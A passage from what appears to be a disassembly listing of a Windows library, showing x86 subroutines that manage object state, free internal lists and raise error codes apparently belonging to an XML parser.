		cmp	byte ptr [esi+0B8h], 0
		jz	short loc_69B5C177
		cmp	dword ptr [esi+0B4h], 0FFFFFFFFh
		jz	short loc_69B5C177
		mov	eax, 0C00CE123h


loc_69B5C169:				; CODE XREF: sub_69B5C12E+Ej
		push	0
		push	eax
		push	eax
		call	sub_69B2E9D0
		add	esp, 0Ch
		jmp	short loc_69B5C197
; ---------------------------------------------------------------------------


loc_69B5C177:				; CODE XREF: sub_69B5C12E+22j
					; sub_69B5C12E+2Bj ...
		push	dword ptr [esi+0B4h]
		mov	eax, [esi+58h]
		push	dword ptr [esi+0B0h]
		mov	ecx, esi
		push	dword ptr [eax+2Ch]
		call	sub_69B5AAE3
		mov	ecx, esi
		call	sub_69B5B72B


loc_69B5C197:				; CODE XREF: sub_69B5C12E+47j
		pop	esi
		retn	8
sub_69B5C12E	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B5C19B	proc near		; CODE XREF: sub_69B5C3BA+Bp
		push	esi
		mov	esi, ecx
		push	edi
		lea	eax, [esi+0ACh]
		push	eax
		call	sub_69B5BB79
		lea	ecx, [esi+1Ch]
		mov	edi, eax
		call	sub_69B318FB
		mov	esi, eax
		test	esi, esi
		jnz	short loc_69B5C1CB
		push	eax
		mov	eax, 8007000Eh
		push	eax
		push	eax
		call	sub_69B2E9D0
		add	esp, 0Ch


loc_69B5C1CB:				; CODE XREF: sub_69B5C19B+1Ej
		mov	[esi], edi
		pop	edi
		pop	esi
		retn
sub_69B5C19B	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B5C1D0	proc near		; CODE XREF: sub_69B5C416+Cp
					; sub_69B5C433+F6p

; FUNCTION CHUNK AT 69B5BBA4 SIZE 0000001C BYTES

		push	28h
		call	sub_69B1D897
		test	eax, eax
		jz	short loc_69B5C1E2
		mov	ecx, eax
		jmp	loc_69B5BBA4
; ---------------------------------------------------------------------------


loc_69B5C1E2:				; CODE XREF: sub_69B5C1D0+9j
		xor	eax, eax
		retn
sub_69B5C1D0	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B5C1E5	proc near		; CODE XREF: sub_69B5C7EA+3p

var_4		= dword	ptr -4

		push	ecx
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		lea	edi, [esi+1Ch]
		mov	eax, [edi+8]
		xor	ebp, ebp
		cmp	eax, ebp
		jnz	short loc_69B5C1FB
		xor	eax, eax
		jmp	short loc_69B5C202
; ---------------------------------------------------------------------------


loc_69B5C1FB:				; CODE XREF: sub_69B5C1E5+10j
		dec	eax
		imul	eax, [edi]
		add	eax, [edi+4]


loc_69B5C202:				; CODE XREF: sub_69B5C1E5+14j
		cmp	eax, ebp
		push	ebx
		mov	ebx, eax
		jz	short loc_69B5C231


loc_69B5C209:				; CODE XREF: sub_69B5C1E5+4Aj
		mov	eax, [ebx]
		cmp	eax, ebp
		mov	[esp+14h+var_4], eax
		jz	short loc_69B5C222
		push	eax
		call	sub_69B17230
		push	[esp+14h+var_4]
		call	sub_69B1B2B7


loc_69B5C222:				; CODE XREF: sub_69B5C1E5+2Cj
		mov	ecx, edi
		mov	[ebx], ebp
		call	sub_69B31F0D
		mov	ebx, eax
		cmp	ebx, ebp
		jnz	short loc_69B5C209


loc_69B5C231:				; CODE XREF: sub_69B5C1E5+22j
		push	ebp
		lea	eax, [esi+58h]
		push	eax
		call	sub_69B17320
		push	ebp
		lea	eax, [esi+7Ch]
		push	eax
		call	sub_69B17320
		push	ebp
		lea	eax, [esi+84h]
		push	eax
		call	sub_69B17320
		push	ebp
		lea	eax, [esi+0A4h]
		push	eax
		call	sub_69B17320
		push	ebp
		lea	eax, [esi+78h]
		push	eax
		call	sub_69B17320
		push	ebp
		lea	eax, [esi+38h]
		push	eax
		call	sub_69B17320
		push	ebp
		lea	eax, [esi+54h]
		push	eax
		mov	[esi+3Ch], ebp
		mov	[esi+44h], ebp
		mov	[esi+40h], ebp
		call	sub_69B17320
		push	ebp
		lea	eax, [esi+30h]
		push	eax
		mov	[esi+4Ch], ebp
		call	sub_69B17320
		mov	edi, [esi+0C4h]
		cmp	edi, ebp
		pop	ebx
		jz	short loc_69B5C2BC
		jmp	short loc_69B5C2AF
; ---------------------------------------------------------------------------


loc_69B5C2A0:				; CODE XREF: sub_69B5C1E5+DDj
		mov	edi, [esi+0C0h]
		mov	eax, [edi+24h]
		mov	[esi+0C0h], eax


loc_69B5C2AF:				; CODE XREF: sub_69B5C1E5+B9j
		mov	ecx, edi
		call	sub_69B5BBC0
		push	edi
		call	sub_69B1B2B7


loc_69B5C2BC:				; CODE XREF: sub_69B5C1E5+B7j
		cmp	[esi+0C0h], ebp
		jnz	short loc_69B5C2A0
		pop	edi
		pop	esi
		pop	ebp
		pop	ecx
		retn
sub_69B5C1E5	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B5C2C9	proc near		; DATA XREF: sub_69B119AE+3Do

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, ecx
		push	edi
		mov	edi, [esi+0C0h]
		test	edi, edi
		jz	loc_69B5C381
		push	ebx


loc_69B5C2DC:				; CODE XREF: sub_69B5C2C9+B1j
		mov	eax, [edi+4]
		mov	ebx, [eax+8]
		cmp	dword ptr [ebx+10h], 0
		mov	ecx, ebx
		jnz	short loc_69B5C2FB
		mov	ecx, [esi+54h]
		push	ecx
		push	ecx
		mov	ecx, [esi+40h]
		push	eax
		call	sub_69B5AEAA
		mov	ecx, [eax+8]


loc_69B5C2FB:				; CODE XREF: sub_69B5C2C9+1Fj
		push	ecx
		mov	ecx, [esi+3Ch]
		call	sub_69B8B114
		test	eax, eax
		jz	short loc_69B5C32B
		mov	ecx, [edi+20h]
		push	eax
		call	sub_69B8CF4E
		mov	ecx, [edi+20h]
		push	ebx
		call	sub_69B5AF7A
		push	dword ptr [edi+20h]
		mov	ecx, esi
		push	edi
		push	[esp+14h+arg_0]
		call	sub_69B5BDC8
		jmp	short loc_69B5C358
; ---------------------------------------------------------------------------


loc_69B5C32B:				; CODE XREF: sub_69B5C2C9+3Dj
		mov	eax, [ebx+10h]
		test	eax, eax
		jz	short loc_69B5C33F
		mov	ecx, [esi+3Ch]
		push	eax
		call	sub_69B5ABF5
		test	al, al
		jz	short loc_69B5C358


loc_69B5C33F:				; CODE XREF: sub_69B5C2C9+67j
		mov	eax, [ebx]
		push	0
		mov	ecx, ebx
		call	dword ptr [eax+2Ch]
		push	eax
		mov	eax, 0C00CE117h
		push	eax
		push	eax
		call	sub_69B2E9D0
		add	esp, 10h


loc_69B5C358:				; CODE XREF: sub_69B5C2C9+60j
					; sub_69B5C2C9+74j
		mov	ebx, [esi+0C0h]
		test	ebx, ebx
		mov	edi, [edi+24h]
		jz	short loc_69B5C372
		mov	ecx, ebx
		call	sub_69B5BBC0
		push	ebx
		call	sub_69B1B2B7


loc_69B5C372:				; CODE XREF: sub_69B5C2C9+9Aj
		test	edi, edi
		mov	[esi+0C0h], edi
		jnz	loc_69B5C2DC
		pop	ebx


loc_69B5C381:				; CODE XREF: sub_69B5C2C9+Cj
		cmp	byte ptr [esi+48h], 0
		jz	short loc_69B5C39B
		push	[esp+8+arg_4]
		mov	ecx, [esi+3Ch]
		push	dword ptr [esi+54h]
		add	ecx, 1Ch
		call	sub_69B5AF27
		jmp	short loc_69B5C3B5
; ---------------------------------------------------------------------------


loc_69B5C39B:				; CODE XREF: sub_69B5C2C9+BCj
		mov	eax, [esi+50h]
		cmp	eax, [esi+4Ch]
		jz	short loc_69B5C3B5
		push	[esp+8+arg_4]
		mov	ecx, [esi+3Ch]
		push	dword ptr [esi+54h]
		add	ecx, 0Ch
		call	sub_69B5AED3


loc_69B5C3B5:				; CODE XREF: sub_69B5C2C9+D0j
					; sub_69B5C2C9+D8j
		pop	edi
		pop	esi
		retn	8
sub_69B5C2C9	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B5C3BA	proc near		; DATA XREF: sub_69B119AE+1A5o
		push	ebx
		push	esi
		mov	esi, ecx
		xor	ebx, ebx
		cmp	[esi+5Fh], bl
		jnz	short loc_69B5C401
		call	sub_69B5C19B
		xor	eax, eax
		inc	eax
		cmp	[esi+63h], bl
		mov	[esi+0B0h], eax
		mov	[esi+0B4h], eax
		mov	[esi+0B8h], bl
		mov	[esi+0B9h], bl
		jz	short loc_69B5C3F1
		mov	ecx, esi
		call	sub_69B5AE06


loc_69B5C3F1:				; CODE XREF: sub_69B5C3BA+2Ej
		mov	eax, [esi+58h]
		mov	[esi+63h], bl
		mov	ecx, [eax+2Ch]
		call	sub_69B8F0F8
		jmp	short loc_69B5C411
; ---------------------------------------------------------------------------


loc_69B5C401:				; CODE XREF: sub_69B5C3BA+9j
		mov	eax, 0C00CE118h
		push	ebx
		push	eax
		push	eax
		call	sub_69B2E9D0
		add	esp, 0Ch


loc_69B5C411:				; CODE XREF: sub_69B5C3BA+45j
		pop	esi
		pop	ebx
		retn	4
sub_69B5C3BA	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B5C416	proc near		; CODE XREF: sub_69B5C715+63p
					; DATA XREF: sub_69B119AE+151o
		push	esi
		lea	esi, [ecx+0C4h]
		cmp	dword ptr [esi], 0
		jnz	short loc_69B5C429
		call	sub_69B5C1D0
		mov	[esi], eax


loc_69B5C429:				; CODE XREF: sub_69B5C416+Aj
		mov	eax, [esi]
		and	dword ptr [eax+14h], 0
		pop	esi
		retn	4
sub_69B5C416	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B5C433	proc near		; CODE XREF: sub_69B5C715+97p
					; DATA XREF: sub_69B119AE+16Do

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, ecx
		mov	eax, [edi+0C4h]
		mov	ebp, [eax+4]
		xor	eax, eax
		test	ebp, ebp
		jnz	short loc_69B5C452
		mov	esi, 0C00CE116h
		jmp	loc_69B5C4E0
; ---------------------------------------------------------------------------


loc_69B5C452:				; CODE XREF: sub_69B5C433+13j
		mov	esi, [ebp+8]
		mov	ecx, [edi+58h]
		push	esi
		call	sub_69B8C678
		test	eax, eax
		jz	short loc_69B5C471
		mov	eax, [ebp+0]
		mov	ecx, ebp
		mov	esi, 0C00CE12Bh
		call	dword ptr [eax+2Ch]
		jmp	short loc_69B5C4E0
; ---------------------------------------------------------------------------


loc_69B5C471:				; CODE XREF: sub_69B5C433+2Dj
		mov	ecx, [edi+78h]
		test	ecx, ecx
		jz	short loc_69B5C488
		push	esi
		call	sub_69B1980A
		mov	ebx, eax
		test	ebx, ebx
		jnz	loc_69B5C50B


loc_69B5C488:				; CODE XREF: sub_69B5C433+43j
		cmp	dword ptr [esi+10h], 0
		mov	eax, esi
		jnz	short loc_69B5C4A1
		mov	eax, [edi+54h]
		mov	ecx, [edi+40h]
		push	eax
		push	eax
		push	ebp
		call	sub_69B5AEAA
		mov	eax, [eax+8]


loc_69B5C4A1:				; CODE XREF: sub_69B5C433+5Bj
		mov	ecx, [edi+3Ch]
		push	eax
		call	sub_69B8B114
		test	eax, eax
		jz	short loc_69B5C4C0
		push	eax
		call	sub_69B8D083
		mov	ebx, eax
		push	esi
		mov	ecx, ebx
		call	sub_69B5AF7A
		jmp	short loc_69B5C507
; ---------------------------------------------------------------------------


loc_69B5C4C0:				; CODE XREF: sub_69B5C433+79j
		mov	eax, [esi+10h]
		test	eax, eax
		jz	short loc_69B5C4F2
		mov	ecx, [edi+3Ch]
		push	eax
		call	sub_69B5ABF5
		test	al, al
		jz	short loc_69B5C4F2
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+2Ch]
		mov	esi, 0C00CE117h


loc_69B5C4E0:				; CODE XREF: sub_69B5C433+1Aj
					; sub_69B5C433+3Cj
		push	0
		push	eax
		push	esi
		push	esi
		call	sub_69B2E9D0
		add	esp, 10h
		jmp	loc_69B5C582
; ---------------------------------------------------------------------------


loc_69B5C4F2:				; CODE XREF: sub_69B5C433+92j
					; sub_69B5C433+9Fj
		mov	eax, [esi+10h]
		cmp	eax, dword_69B95A64
		jnz	short loc_69B5C51F
		push	0
		push	esi
		call	sub_69B8CDB7
		mov	ebx, eax


loc_69B5C507:				; CODE XREF: sub_69B5C433+8Bj
		test	ebx, ebx
		jz	short loc_69B5C51F


loc_69B5C50B:				; CODE XREF: sub_69B5C433+4Fj
		push	ebx
		push	dword ptr [edi+0C4h]
		mov	ecx, edi
		push	[esp+18h+arg_0]
		call	sub_69B5BDC8
		jmp	short loc_69B5C579
; ---------------------------------------------------------------------------


loc_69B5C51F:				; CODE XREF: sub_69B5C433+C8j
					; sub_69B5C433+D6j
		push	0
		push	esi
		call	sub_69B8CDB7
		mov	ebx, eax
		call	sub_69B5C1D0
		mov	esi, eax
		push	ebx
		lea	eax, [esi+20h]
		push	eax
		mov	byte ptr [esi+18h], 1
		call	sub_69B17320
		push	ebp
		lea	eax, [esi+4]
		push	eax
		call	sub_69B17320
		mov	eax, [edi+58h]
		mov	[esi+1Ch], eax
		mov	eax, [edi+0C4h]
		mov	eax, [eax+14h]
		mov	[esi+14h], eax
		mov	eax, [edi+0C4h]
		add	eax, 8
		push	eax
		lea	ecx, [esi+8]
		call	sub_69B4D414
		lea	eax, [edi+0C0h]
		mov	ecx, [eax]
		mov	[esi+24h], ecx
		mov	[eax], esi


loc_69B5C579:				; CODE XREF: sub_69B5C433+EAj
		mov	ecx, [edi+58h]
		push	ebx
		call	sub_69B8CA67


loc_69B5C582:				; CODE XREF: sub_69B5C433+BAj
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn	4
sub_69B5C433	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B5C589	proc near		; CODE XREF: sub_69B5CA0B+37p
					; DATA XREF: sub_69B11555+26o

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		push	ebx
		push	esi
		mov	esi, ecx
		cmp	byte ptr [esi+9Dh], 0
		push	edi
		mov	edi, [eax+8]
		jz	short loc_69B5C5BF
		mov	eax, dword_69B95AB8
		cmp	dword ptr [eax+8], 0Ch
		mov	ebx, eax
		jg	short loc_69B5C5B0
		call	sub_69B2E6D8


loc_69B5C5B0:				; CODE XREF: sub_69B5C589+20j
		cmp	edi, [ebx+3Ch]
		jz	short loc_69B5C5BF
		mov	eax, 0C00CE106h
		jmp	loc_69B5C703
; ---------------------------------------------------------------------------


loc_69B5C5BF:				; CODE XREF: sub_69B5C589+13j
					; sub_69B5C589+2Aj
		mov	byte ptr [esi+5Dh], 1
		mov	eax, dword_69B95AB8
		cmp	dword ptr [eax+8], 0Ah
		mov	ebx, eax
		jg	short loc_69B5C5D5
		call	sub_69B2E6D8


loc_69B5C5D5:				; CODE XREF: sub_69B5C589+45j
		cmp	edi, [ebx+34h]
		jz	loc_69B5C70F
		mov	eax, [esi+58h]
		mov	byte ptr [esi+62h], 1
		mov	ecx, [eax+2Ch]
		call	sub_69B8F0F8
		mov	eax, dword_69B95AB8
		cmp	dword ptr [eax+8], 9
		mov	ebx, eax
		jg	short loc_69B5C604
		call	sub_69B2E6D8
		mov	eax, dword_69B95AB8


loc_69B5C604:				; CODE XREF: sub_69B5C589+6Fj
		cmp	edi, [ebx+30h]
		jnz	short loc_69B5C674
		mov	byte ptr [esi+61h], 1
		mov	eax, dword_69B95A84
		cmp	dword ptr [eax+8], 1
		mov	edi, eax
		jg	short loc_69B5C61F
		call	sub_69B2E6D8


loc_69B5C61F:				; CODE XREF: sub_69B5C589+8Fj
		mov	eax, [esi+58h]
		push	dword ptr [edi+10h]
		mov	ecx, [eax+2Ch]
		call	sub_69B8FF0A
		cmp	byte ptr [esi+60h], 0
		jnz	short loc_69B5C661
		mov	eax, dword_69B95AB8
		cmp	dword ptr [eax+8], 11h
		mov	edi, eax
		jg	short loc_69B5C645
		call	sub_69B2E6D8


loc_69B5C645:				; CODE XREF: sub_69B5C589+B5j
		mov	eax, [edi+50h]
		mov	ecx, [esi+40h]
		push	0
		push	0
		push	eax
		call	sub_69B3DA18
		push	eax
		push	[esp+10h+arg_0]
		mov	ecx, esi
		call	sub_69B5BEA5


loc_69B5C661:				; CODE XREF: sub_69B5C589+A8j
		mov	eax, [esi+58h]
		mov	byte ptr [esi+63h], 1
		mov	eax, [eax+2Ch]
		mov	byte ptr [eax+28h], 3
		jmp	loc_69B5C70F
; ---------------------------------------------------------------------------


loc_69B5C674:				; CODE XREF: sub_69B5C589+7Ej
		cmp	dword ptr [eax+8], 0Bh
		mov	ebx, eax
		jg	short loc_69B5C686
		call	sub_69B2E6D8
		mov	eax, dword_69B95AB8


loc_69B5C686:				; CODE XREF: sub_69B5C589+F1j
		cmp	edi, [ebx+38h]
		jnz	short loc_69B5C6B4
		cmp	byte ptr [esi+60h], 0
		jnz	short loc_69B5C6A8
		cmp	dword ptr [eax+8], 0Fh
		mov	edi, eax
		jg	short loc_69B5C69E
		call	sub_69B2E6D8


loc_69B5C69E:				; CODE XREF: sub_69B5C589+10Ej
		push	dword ptr [edi+48h]
		mov	ecx, esi
		call	sub_69B5B4D2


loc_69B5C6A8:				; CODE XREF: sub_69B5C589+106j
		mov	eax, [esi+58h]
		mov	eax, [eax+2Ch]
		mov	byte ptr [eax+28h], 2
		jmp	short loc_69B5C70F
; ---------------------------------------------------------------------------


loc_69B5C6B4:				; CODE XREF: sub_69B5C589+100j
		cmp	dword ptr [eax+8], 0Ch
		mov	ebx, eax
		jg	short loc_69B5C6C1
		call	sub_69B2E6D8


loc_69B5C6C1:				; CODE XREF: sub_69B5C589+131j
		cmp	edi, [ebx+3Ch]
		jnz	short loc_69B5C6FE
		mov	eax, dword_69B95A84
		cmp	dword ptr [eax+8], 1
		mov	edi, eax
		jg	short loc_69B5C6D8
		call	sub_69B2E6D8


loc_69B5C6D8:				; CODE XREF: sub_69B5C589+148j
		mov	eax, [esi+58h]
		push	dword ptr [edi+10h]
		mov	ecx, [eax+2Ch]
		call	sub_69B8FF0A
		mov	eax, [esi+58h]
		mov	byte ptr [esi+64h], 1
		mov	byte ptr [esi+63h], 1
		mov	byte ptr [esi+5Fh], 1
		mov	eax, [eax+2Ch]
		mov	byte ptr [eax+28h], 1
		jmp	short loc_69B5C70F
; ---------------------------------------------------------------------------


loc_69B5C6FE:				; CODE XREF: sub_69B5C589+13Bj
		mov	eax, 0C00CE108h


loc_69B5C703:				; CODE XREF: sub_69B5C589+31j
		push	0
		push	eax
		push	eax
		call	sub_69B2E9D0
		add	esp, 0Ch


loc_69B5C70F:				; CODE XREF: sub_69B5C589+4Fj
					; sub_69B5C589+E6j ...
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_69B5C589	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B5C715	proc near		; CODE XREF: sub_69B5C83A+1B0p
					; DATA XREF: sub_69B119AE+22Do

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		mov	esi, ecx
		xor	ebx, ebx
		cmp	[esi+65h], bl
		push	edi
		jz	loc_69B5C7D4
		mov	eax, [esi+7Ch]
		mov	byte ptr [esi+0A8h], 1
		mov	ecx, [eax+2Ch]
		mov	eax, [ecx]
		call	dword ptr [eax+2Ch]
		mov	ecx, eax
		call	sub_69B2F43C
		mov	edi, eax
		xor	eax, eax
		mov	al, [esi+36h]
		push	eax
		push	edi
		call	sub_69B20F54
		push	27h
		pop	ecx
		cmp	eax, ecx
		jz	short loc_69B5C7BF
		mov	ecx, [esi+58h]
		mov	edi, [esp+0Ch+arg_0]
		push	ebp
		mov	[ecx+18h], eax
		push	edi
		mov	ecx, esi
		call	sub_69B5A9BB
		push	ebx
		push	edi
		mov	ecx, esi
		mov	[esi+0A8h], bl
		call	sub_69B5C076
		push	ebx
		mov	ecx, esi
		call	sub_69B5C416
		mov	eax, dword_69B95A84
		cmp	dword ptr [eax+8], 1Fh
		mov	ebp, eax
		jg	short loc_69B5C78F
		call	sub_69B2E6D8


loc_69B5C78F:				; CODE XREF: sub_69B5C715+73j
		mov	ebp, [ebp+88h]
		mov	ecx, [esi+40h]
		push	ebx
		push	ebx
		push	ebp
		call	sub_69B3DA18
		push	eax
		push	edi
		mov	ecx, esi
		call	sub_69B5B16B
		push	edi
		mov	ecx, esi
		call	sub_69B5C433
		mov	ecx, [esi+0C4h]
		call	sub_69B5BB0D
		pop	ebp
		jmp	short loc_69B5C7E4
; ---------------------------------------------------------------------------


loc_69B5C7BF:				; CODE XREF: sub_69B5C715+3Cj
		mov	eax, [esi+58h]
		mov	[eax+18h], ecx
		mov	eax, [esi+58h]
		push	edi
		add	eax, 1Ch
		push	eax
		call	sub_69B17320
		jmp	short loc_69B5C7E4
; ---------------------------------------------------------------------------


loc_69B5C7D4:				; CODE XREF: sub_69B5C715+Aj
		mov	eax, 0C00CE120h
		push	ebx
		push	eax
		push	eax
		call	sub_69B2E9D0
		add	esp, 0Ch


loc_69B5C7E4:				; CODE XREF: sub_69B5C715+A8j
					; sub_69B5C715+BDj
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_69B5C715	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B5C7EA	proc near		; CODE XREF: sub_69B5CB6E+C2p
					; sub_69B5CB6E+DDp ...
		push	esi
		mov	esi, ecx
		call	sub_69B5C1E5
		lea	eax, [esi+0ACh]
		push	eax
		call	sub_69B17230
		lea	ecx, [esi+7Ch]
		call	sub_69B5AFC3
		lea	ecx, [esi+58h]
		call	sub_69B5AFAF
		lea	eax, [esi+54h]
		push	eax
		call	sub_69B17230
		lea	eax, [esi+38h]
		push	eax
		call	sub_69B17230
		lea	eax, [esi+30h]
		push	eax
		call	sub_69B17230
		lea	ecx, [esi+1Ch]
		call	sub_69B88EF5
		lea	ecx, [esi+8]
		pop	esi
		jmp	sub_69B88EF5
sub_69B5C7EA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B5C83A	proc near		; CODE XREF: sub_69B5CAA5+34p
					; sub_69B5CCB0+1Ap ...

var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_30		= byte ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		and	[ebp+var_20], 0
		push	ebx
		mov	ebx, ecx
		cmp	byte ptr [ebx+35h], 0
		jnz	short loc_69B5C885
		push	esi
		mov	esi, [ebp+arg_4]
		mov	eax, [esi]
		push	edi
		mov	ecx, esi
		call	dword ptr [eax+3Ch]
		mov	[ebp+var_8], eax
		lea	eax, [ebp+var_30]
		push	eax
		mov	ecx, esi
		call	sub_69B48F23
		mov	esi, eax
		test	esi, esi
		mov	[ebp+var_C], esi
		jnz	short loc_69B5C890


loc_69B5C870:				; CODE XREF: sub_69B5C83A+1CCj
		mov	eax, [ebx]
		cmp	dword ptr [eax+20h], 0
		jz	short loc_69B5C883
		mov	ecx, [eax+24h]
		push	[ebp+arg_0]
		add	ecx, ebx
		call	dword ptr [eax+20h]


loc_69B5C883:				; CODE XREF: sub_69B5C83A+3Cj
					; sub_69B5C83A+161j
		pop	edi
		pop	esi


loc_69B5C885:				; CODE XREF: sub_69B5C83A+11j
		mov	eax, [ebp+var_20]
		pop	ebx
		leave
		retn	8
; ---------------------------------------------------------------------------


loc_69B5C88D:				; CODE XREF: sub_69B5C83A+1C6j
		mov	esi, [ebp+var_C]


loc_69B5C890:				; CODE XREF: sub_69B5C83A+34j
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+3Ch]
		push	1
		push	1
		mov	edi, eax
		push	1
		mov	ecx, esi
		mov	[ebp+var_24], edi
		call	sub_69B4AAFC
		mov	[ebp+var_28], eax
		mov	eax, [edi+8]
		mov	[ebp+var_14], eax
		mov	eax, [ebx]
		mov	eax, [eax+0Ch]
		xor	esi, esi
		cmp	[eax], esi
		mov	[ebp+var_10], esi
		jl	short loc_69B5C91D
		and	[ebp+var_4], esi


loc_69B5C8C3:				; CODE XREF: sub_69B5C83A+ADj
		mov	ecx, [ebp+var_4]
		push	dword ptr [ecx+eax]
		call	sub_69B48CB0
		cmp	eax, [ebp+var_14]
		mov	eax, [ebx]
		mov	eax, [eax+0Ch]
		jz	short loc_69B5C8EB
		add	[ebp+var_4], 18h
		mov	ecx, [ebp+var_4]
		inc	esi
		cmp	dword ptr [ecx+eax], 0
		mov	[ebp+var_10], esi
		jge	short loc_69B5C8C3
		jmp	short loc_69B5C91D
; ---------------------------------------------------------------------------


loc_69B5C8EB:				; CODE XREF: sub_69B5C83A+9Cj
		lea	ecx, [esi+esi*2]
		lea	eax, [eax+ecx*8]
		mov	ecx, [eax]
		lea	esi, [eax+8]
		lea	edi, [ebp+var_40]
		movsd
		movsd
		mov	[ebp+var_1C], ecx
		mov	ecx, [eax+4]
		movsd
		mov	edx, ecx
		and	edx, 0FFh
		and	ecx, 0FF00h
		movsd
		mov	edi, [ebp+var_24]
		mov	esi, [ebp+var_10]
		mov	[ebp+var_18], edx
		mov	[ebp+var_2C], ecx


loc_69B5C91D:				; CODE XREF: sub_69B5C83A+84j
					; sub_69B5C83A+AFj
		mov	eax, [ebx]
		mov	eax, [eax+0Ch]
		lea	ecx, [esi+esi*2]
		cmp	dword ptr [eax+ecx*8], 0
		jge	short loc_69B5C95F
		push	[ebp+var_14]
		mov	ecx, ebx
		call	sub_69B5B7D7
		test	al, al
		jnz	loc_69B5C9EF
		mov	ecx, [ebp+var_8]
		mov	eax, [ecx]
		push	0
		call	dword ptr [eax+2Ch]
		push	eax
		mov	eax, [edi]
		mov	ecx, edi
		call	dword ptr [eax+2Ch]
		push	eax
		mov	eax, 0C00CE10Ch
		push	eax
		push	eax
		call	sub_69B2E9D0
		add	esp, 14h


loc_69B5C95F:				; CODE XREF: sub_69B5C83A+EFj
		mov	ecx, [ebx+44h]
		push	1
		push	[ebp+var_28]
		push	[ebp+var_18]
		call	sub_69B4DE11
		mov	ecx, [ebp+var_18]
		test	ecx, ecx
		jl	short loc_69B5C9EF
		cmp	ecx, 1
		jle	short loc_69B5C9C8
		cmp	ecx, 8
		jz	short loc_69B5C9C8
		cmp	ecx, 0Bh
		jnz	short loc_69B5C9EF
		cmp	dword ptr [eax+0Ch], 0
		mov	[ebp+var_8], eax
		jz	short loc_69B5C9A0
		cmp	[ebp+var_1C], 1
		jz	short loc_69B5C9B7
		mov	[ebp+var_20], 0C00CE100h
		jmp	loc_69B5C883
; ---------------------------------------------------------------------------


loc_69B5C9A0:				; CODE XREF: sub_69B5C83A+152j
		test	byte ptr [ebp+var_2C+1], 1
		jz	short loc_69B5C9B7
		mov	ecx, [ebx+54h]
		push	ecx
		push	ecx
		mov	ecx, [ebx+40h]
		push	eax
		call	sub_69B5AEAA
		mov	[ebp+var_8], eax


loc_69B5C9B7:				; CODE XREF: sub_69B5C83A+158j
					; sub_69B5C83A+16Aj
		push	[ebp+var_8]
		mov	eax, [ebp+var_3C]
		push	[ebp+arg_0]
		lea	ecx, [eax+ebx]
		call	[ebp+var_40]
		jmp	short loc_69B5C9EF
; ---------------------------------------------------------------------------


loc_69B5C9C8:				; CODE XREF: sub_69B5C83A+13Fj
					; sub_69B5C83A+144j
		push	eax
		mov	eax, [ebp+var_3C]
		push	[ebp+arg_0]
		lea	ecx, [eax+ebx]
		call	[ebp+var_40]
		cmp	[ebp+var_1C], 2Ah
		jnz	short loc_69B5C9EF
		mov	eax, [ebx]
		cmp	dword ptr [eax], 21h
		jnz	short loc_69B5C9EF
		push	[ebp+var_C]
		mov	ecx, ebx
		push	[ebp+arg_0]
		call	sub_69B5C715


loc_69B5C9EF:				; CODE XREF: sub_69B5C83A+FDj
					; sub_69B5C83A+13Aj ...
		mov	ecx, [ebp+arg_4]
		lea	eax, [ebp+var_30]
		push	eax
		call	sub_69B486B5
		test	eax, eax
		mov	[ebp+var_C], eax
		jnz	loc_69B5C88D
		jmp	loc_69B5C870
sub_69B5C83A	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B5CA0B	proc near		; DATA XREF: sub_69B119AE+75o

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		mov	esi, ecx
		xor	ebx, ebx
		cmp	[esi+5Ch], bl
		jz	short loc_69B5CA90
		cmp	[esi+5Dh], bl
		push	edi
		jnz	short loc_69B5CA4A
		mov	edi, dword_69B95AB8
		cmp	dword ptr [edi+8], 9
		jg	short loc_69B5CA2D
		call	sub_69B2E6D8


loc_69B5CA2D:				; CODE XREF: sub_69B5CA0B+1Bj
		mov	eax, [edi+30h]
		mov	ecx, [esi+40h]
		push	ebx
		push	ebx
		push	eax
		call	sub_69B3DA18
		push	eax
		push	[esp+10h+arg_0]
		mov	ecx, esi
		call	sub_69B5C589
		mov	[esi+5Dh], bl


loc_69B5CA4A:				; CODE XREF: sub_69B5CA0B+Fj
		cmp	[esi+5Eh], bl
		jnz	short loc_69B5CA7A
		mov	edi, dword_69B95AB8
		cmp	dword ptr [edi+8], 6
		jg	short loc_69B5CA60
		call	sub_69B2E6D8


loc_69B5CA60:				; CODE XREF: sub_69B5CA0B+4Ej
		mov	eax, [edi+24h]
		mov	ecx, [esi+40h]
		push	ebx
		push	ebx
		push	eax
		call	sub_69B3DA18
		push	eax
		push	[esp+10h+arg_0]
		mov	ecx, esi
		call	sub_69B5B202


loc_69B5CA7A:				; CODE XREF: sub_69B5CA0B+42j
		cmp	[esi+61h], bl
		pop	edi
		jz	short loc_69B5CAA0
		cmp	dword ptr [esi+0BCh], 2
